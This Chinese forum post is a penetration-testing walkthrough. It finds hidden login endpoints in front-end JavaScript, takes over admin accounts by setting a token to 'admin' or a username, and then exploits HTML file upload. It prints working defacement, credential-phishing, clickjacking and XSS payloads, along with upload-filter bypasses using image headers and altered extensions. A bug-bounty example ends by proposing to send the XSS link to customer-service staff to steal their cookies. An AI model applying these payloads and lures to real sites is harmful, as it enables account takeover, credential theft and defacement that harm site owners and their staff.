设为首页 收藏本站

QQ登录

只需一步，快速开始

切换到宽版 切换风格

电脑疯子技术论坛|电脑极客社区

电脑疯子技术论坛|电脑极客社区»技术论坛 › 电脑疯子|资源分享 › 电脑教程分享 › 帖子
微信扫一扫 分享朋友圈

已有 1437 人浏览分享

通过前端JS到后台文件上传html实战

[复制链接]
1437 0
写在前面

这篇文章主要是通过前端JS来寻找接口进行测试 寻找漏洞成功进入后台后 进行后台文件上传html。仅供学习。

过程

前端JS进入后台

某日拿到授权站点，开始漫长的信息收集……
收集了许久，找到了一个后台，可惜用了许多方法都无法渗透进去。就在一筹莫展之际，突然想到了一些师傅通过前
端JS寻找接口的骚操作，这里开始跃跃欲试。F12点击Sources，成功寻找到了userlogin.js。开始了一波小审计后
审计到了一些接口并进行测试访问，得到了些许收获：
本来正常访问后台http://x.x.x.x/admin/login.action登陆的时候 不仅需要用户名和密码还需
要验证码这样就无法进行暴力破解：

t01e83fdcbf1f7b2e71.png

可是这里找到了该接口：/admin/adminlogin.action，访问后验证码居然消失了登陆只需要用
户名和密码那么这里便可以直接暴力破解了：

t01147fe9cd7215be03.png

还收获了两个接口，其中存在有参数jsoncallback 这里便可能存在jsonp劫持、jsonp注入以及xss等等漏洞了。

t012f377efa2ce890bd.png
1000.png

还有一处接口，则是/web/weblogin.action?token=。token是服务端生成的一串字符串，以作客户端进行请求的一个令牌当第
一次登录后 服务器生成一个token便将此token返回给客户端。以后客户端只需带上这个Token前来请求数据即可 无需再次带上
用户名和密码。所以这里token值将会被记录到cookie里，而其可以用来辨别用户身份信息，再加上之前有碰到过直接在cookie
中存储明文数据的情况，抱着碰碰运气的想法，这里直接在其后面写上admin，即/web/weblogin.action?token=admin 没想
到竟意外成功登录进后台，且是超级管理员权限。

t011c3ad1232e1b2b90.png

这里为了验证刚才的想法是否是正确的，便按下F12查看Application中的cookie值：

999.png

确实如此。哈哈，运气也太好了~

t01871b24490daed539.png

验证过后，这里点击切换账号，发现还有几个用户，但是切换过去需要密码：

t01f07ee56325e4c234.png

998.png

这里随机选中其中一个用户：

996.png

看到其用户名称为xxx，用户代码为180***，这里便测试将token的值从admin分别修改为用户名称xxx和
用户代码180***都可以直接成功切换为该用户了：

t01e5ac802743d874ae.png

依次测试，最后都能成功，故使token值为用户名称或者用户代码 最后均可直接登陆为该用户。

后台文件上传html

前面成功进入了后台 还是超级管理员权限，那么这里就来找找有没有可利用的文件上传的点。这里找了好几个别说服务
器端脚本木马了，就连html、htm这种后缀都不能上传。最后找到了一个也只可以上传html、htm这种后缀。那么这里
可以利用的点就是文件上传xss 上传点击劫持页面 挂黑页等危害了。

这里先来简单介绍下吧：

介绍

文件上传漏洞是一个很经典的漏洞，同时也十分的严重。文件上传漏洞通常由于代码中对文件上传功能所上传的文件过滤
不严或web服务器相关解析漏洞未修复而造成的，如果文件上传功能代码没有严格限制和验证用户上传的文件后缀 类型等
攻击者可通过文件上传点上传任意文件，包括网站后门文件（webshell）控制整个网站。
那么这里来讲讲文件上传漏洞上传html文件并解析的问题。

文件上传漏洞上传html文件

文件上传漏洞中我们一般都是上传对应网站能解析的服务器文件木马，比如php、asp、jsp等等后缀文件木马以此达到控
制整个网站的目的。但是现在很多网站都对文件上传漏洞上传木马防的很死，让我们无法下手。那么这时，我们也可以来
通过上传html文件来扩大我们的攻击面。这里来介绍几种方法：

挂黑页

相信有炫技经验的师傅们一定可以想到，当我们在某个网站不能成功GetShell的时候 而又想要通过某种方法从而来
达到炫技的目的那么使用的方法是什么呢？没错，那就是挂黑页 。一般使用的是CSS层叠样式表。
代码：
  1. <html>
  2. <head>
  3. <meta charset="UTF-8">
  4. </head>
  5. <table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;wi
  6. dth:100%;height:300%;background-color: black;">
  7. <tbody>
  8. <tr>
  9. <td style="color:#FFFFFF;z-index: 6000;vertical-align:top;">
  10. <h1>hacked by Johnson666</h1>
  11. </td>
  12. </tr>
  13. </tbody>
  14. </table>
  15. </html>
复制代码

效果：

992.png

不是还挺有成就感~

这里如果开头加上了<!DOCTYPE html>，字会到下一行，看自己的需求吧：

991.png

制作form表单钓鱼攻击页面

除了可以炫技来挂黑页以外，CSS层叠样式表可以做的东西还有很多 比如说这个form表单钓鱼攻击页面：

代码：
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="UTF-8">
  5. </head>
  6. <table+style="left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position
  7. :absolute;width:100%;background-color:white;">
  8. <tr>
  9. <td>
  10. <form action="http://192.168.1.6/diaoyu/404.html" method="post">
  11. 账号：<input type="text" name="username"><br>
  12. 密码：<input type="password" name="password"><br>
  13. <input type="submit" value="登录" name="Login">
  14. </form>
  15. </td>
  16. </tr>
  17. </table>
  18. </html>
复制代码

效果：
990.png

随便输入账号密码，点击登录，跳转到了404界面：

899.png

制作点击劫持页面

点击劫持(ClickJacking)是一种视觉欺骗攻击手段，在web端就是iframe嵌套一个透明不可见的页面 让用户在
不知情被欺骗)的情况下。点击攻击者想要欺骗用户点击的位置。这种攻击利用了HTML中<iframe>标签的透
明属性。就像一张图片上面铺了一层透明的纸一样 你看到的是黑客的页面，但是其实这个页面只是在底部而
你真正点击的是被黑客透明化的另一个网页。

其中很多属性的解释在代码中有用注释标明了。那么这里来讲讲其中没有注释的CSS中
的position的属性。看如下这张图：

898.png

制作代码：
  1. <!DOCTYPE html>
  2. <html>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  4. <head>
  5. <title>点击劫持制作</title>
  6. <style>
  7. iframe {
  8. width: 1920px;
  9. height: 1200px;
  10. position: absolute;
  11. top: 0px;
  12. left: 0px;
  13. z-index: 2; //设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面简单的说就
  14. 是利用这个属性可以把一段文字置于一张图片之上,或者把图片置于文字之上,只要设置好合适的优先级就可以了
  15. /*控制不透明度的属性，兼容各大浏览器*/
  16. filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
  17. -moz-opacity: 0; /*提供给火狐浏览器的*/
  18. -webkit-opacity: 0; /*提供给webkit内核的*/
  19. -khtml-opacity: 0; /*提供给KHTML内核的*/
  20. -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/
  21. opacity: 0;
  22. /*控制不透明度的属性，兼容各大浏览器*/
  23. }

  25. button {
  26. position: absolute;
  27. top: 345px; /*元素的顶部边缘,定义了一个定位元素的上外边距边界与其包含块上边界之间的偏移*/
  28. left: 933px; /*元素的左边缘,定义了定位元素左外边距边界与其包含块左边界之间的偏移*/
  29. z-index: 0; /*设置元素的堆叠顺序。拥有更高堆叠顺序的元素总是会处于堆叠顺序较低的元素的前面。简单的说就
  30. 是利用这个属性可以把一段文字置于一张图片之上,或者把图片置于文字之上,只要设置好合适的优先级就可以了*/
  31. width: 52.5166px;
  32. height: 20.8px;
  33. }
  34. </style>
  35. </head>
  36. <body>
  37. <button style='font-size:7px'>点击脱衣</button>
  38. <img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg">
  39. <iframe src="http://127.0.0.1/bachang/dvwa" scrolling="no"></if
  40. rame> /*用scrolling="no"使内嵌的网页不能滚动*/
  41. </body>
  42. </html>
复制代码

结果：
t01a16d038497477f6e.png

把其中iframe的opacity属性调成0.5这样就能看出来下面其实是dvwa的登陆界面而按
钮对应的位置正好是dvwa的登陆按钮：

t01ac326a5a83b469c8.png

这里可以自行替换成别的页面，比如点击跳转等等，就能起到更多更好的劫持的效果了。

文件上传XSS

文件上传的XSS一般都是上传html文件导致的XSS。一般使用的后缀名是htm后缀或者html后缀。

代码:
  1. <html>
  2.     <body>
  3.     <img src=x onerror=alert(1)>
  4.     </body>
  5. </html>
复制代码

html后缀：

896.png

htm后缀：

892.png

一些简单的绕过方式：

1.后缀中加上空格：

比如ht m后缀：

891.png

ht ml后缀：

890.png

2.改成其他任意的不存在的后缀

比如pnga：

889.png

3.添加Gif89a头部

其实这是GIF89a图片欺骗攻击。在服务器中的源代码用getimagesize，mime_content_type,Fileinfo函数来
获取图像信息，即检查文件内容时，在开头加GIF89a头部，可以对这些函数起到欺骗攻击。
如果验证了图片的内容 尝试添加:Gif89a，进行GIF89a图片欺骗攻击。不过也有些限制。比如用了Gif89a头：

888.png

那么其后缀名必须得是htm,html这样的规范后缀才能弹窗；而像ht m,ht ml或者随便乱取的不存
在的后缀就不会弹窗了:
htm后缀,能弹窗：

886.png

乱取的不存在的后缀,不会弹窗：

885.png

4.添加jpg头部绕过

这里其实类似上面的gif欺骗攻击。直接用文件上传图片马制作工具edjpgcom 准备一张图片
然后拖进去，在框中放入xss的代码：

884.png

然后点击OK制作成功，这样xss的图片就有jpg头部了：

883.png

这里还可以用命令行形式来制作xss的图片：copy 1.jpg/b + xss.html/a 2.jpg 。
那么为什么不直接把代码插入到图片里 而是要用上面这样来制作xss的图片呢？
因为这样打开的图片是正确的：

t0130f029cbca0f08ee.png

而像下面这样直接把代码插入到图片里，图片会显示错误：

882.png

881.png

在某些特定环境中，也会检查图片是否正确，错误的话也将不能上传成功所以尽量要
用上面的方式来制作xss的图片。
然后就像上面的gif欺骗攻击一样可以绕过一些特定环境
然后必要条件也和上面一样：

t01ec6a09c6192ef572.png

访问，成功弹窗：

880.png

5.添加png头部绕过

还有png这样的图片格式，也可以用上面的方法来，这里就不赘述了。

总结

所以可以在服务器中的源代码用getimagesize，mime_content_type,Fileinfo函数获取图像信息，即检查文件
内容时在开头加GIF89a头部，可以对这些函数起到欺骗攻击，然后在对后缀没有很过分的检查时 可以先取gif
后缀名然后用burp再抓包改回htm或者html这样的规范后缀，然后便可弹窗了；甚至就是对后缀名完全没有
检查。那么直接写htm或者html这样的规范后缀，然后便可弹窗了；也可以用上面的jpg、png这些绕过方法
来实现绕过，具体看环境中究竟允许上传什么类型吧。

SRC实战

上面的通过前端JS进入后台后进行文件上传html的过程我在这里就以最近在挖掘某SRC
的时候正好碰巧碰到这种漏洞来讲解，过程基本一模一样。
首先在首页需要登陆：

699.png

这里任何人都可以注册，所以就注册一个号，便可以登录，我这里注册了一个后 成功登录：

698.png

然后访问该网址：https://x.x.x.x/#/personage，进入到个人信息修改页面：

696.png

点击上传头像：

692.png

这里用burp抓包，上传login.jpg，然后修改为login.html：

691.png

F12打开点击检查元素，点击头像位置找到该路径：

690.png

访问该路径，即为点击劫持页面：

689.png

这里也可以进行文件上传xss：

用burp抓包后，点击上传头像，上传test.jpg：

688.png

然后把请求包发到Repeater重放模块里，把jpg后缀改成html后缀：

686.png

Go后，显示成功上传，然后访问这个路径：

https://x.x.x.x/open/2021-08-21/w9xzPxJP-test.html 成功弹窗：

682.png

这里验证成功之后 后续其实就可以利用此漏洞进行盗取cookie，钓鱼，社工等操作 比如上传盗取
cookie的文件，然后把路径发给客服小姐姐等等操作。
可惜这里遗憾的就是最终上传到的是阿里云的oss上了。那么这里遇到这种情况该怎么解决呢？

以下先列出两种方法，优先用第二种方法，第二种方法的例子是成功的，信息收集yyds。

第一种方法：
如果遇到了上传成功后，可是是上传到像阿里云的oss上，oss传html，有些虽然上传之后看不到重写规则
但可以手动替换站点的静态服务器说不定也能成功。站点的静态服务器的域名一般都是static.xxx.com。
所以就像这样：浏览器上的url手动修改：xxx.aliyuncs.com/1.html=> static.xxx.com/1.html

比如这里：这里是在https://x.x.x.x/上传了文件，可是却上传到了阿里云的oss上：
https://x.oss-cn-x.aliyuncs.com/open/2021-08-21/nW1ZBCUp-test.html

681.png

这样其实有的像src可能不收。那么就可以手动替换url：https://x.oss-cn-x.aliyun
cs.com/open/2021-08-21/nW1ZBCUp-test.html
变为https://static.xxx.cn/open/2021-08-21/nW1ZBCUp-test.html，
https://static.xxx.cn这个就是该站点的静态服务器。
不过只是说不定可以成功，这里就没有成功。原因：两个的HostId不同，即不同的两台主机，不同两个阿里云oss：
访问该站点的静态服务器地址，会显示其HostId，是一个阿里云oss：

100.png

访问传上去的oss地址，会显示其HostId，是另外一个阿里云oss：

99.png

这两个不是相同的主机，不是相同的阿里云oss，自然就不行了 所以https://static.xxx.cn/op
en/2021-08-21/nW1ZBCUp-test.html 就没有成功。

98.png

而访问https://x.oss-cn-x.aliyuncs.com/open/2021-08-21/w9xzPxJP-test.html是存在的
而且也成功解析

96.png

其实经过信息收集(fofa)还收集到了别的静态服务器 不过都是不行的：

比如：

93.png

92.png

91.png

90.png

等等。

第二种方法：
信息收集，收集到了指定的域名(也可以盲猜)。
例子：这里接上第一种方法中的例子，上面是上传到了阿里云的oss上：https://x-crm.oss-cn-shenzhen.aliy
uncs.com,那么其中我们可以盲猜是https://x-crm-oss-cn-shenzhen.xxx.cn这个子域名(因为我上面挖的是某
src的漏洞，那肯定是猜该src的域名，该src的主域名为xxx.cn)。
也可以用信息收集来收集到指定的域名，这里我就是通过fofa搜索domain="xxx.cn"收集到的
(其实一开始也有盲猜，信息收集证实了我的盲猜是对的)：

89.png

这样就从阿里云oss转换到了该src的子域名上。

点击劫持页面：

88.png

而xss原本在阿里云oss上是没有cookie的：

86.png

而在该src的子域名下便有cookie了：

85.png

那么我们就可以去和客服小姐姐聊天了 直接发过去 她成功点击 就能盗取其cookie了
可能有好东西哦，敏感信息啥的~

举报

回复
返回列表
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 注册

本版积分规则

zhaorong
VIP荣誉会员

1

关注

0

粉丝

9021

主题
精彩推荐
电脑疯子 GHOST WIN7 X64 快速装机版202001
电脑疯子 GHOST WIN7 X64 快速装机版202001
电脑疯子技术论坛GHOST WIN10X64 快速装机版201909
电脑疯子技术论坛GHOST WIN10X64 快速装机
电脑疯子 GHOST WIN7 X86 快速装机版202001
电脑疯子 GHOST WIN7 X86 快速装机版202001
电脑疯子技术论坛GHOST WIN10X86 快速装机版201909
电脑疯子技术论坛GHOST WIN10X86 快速装机
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.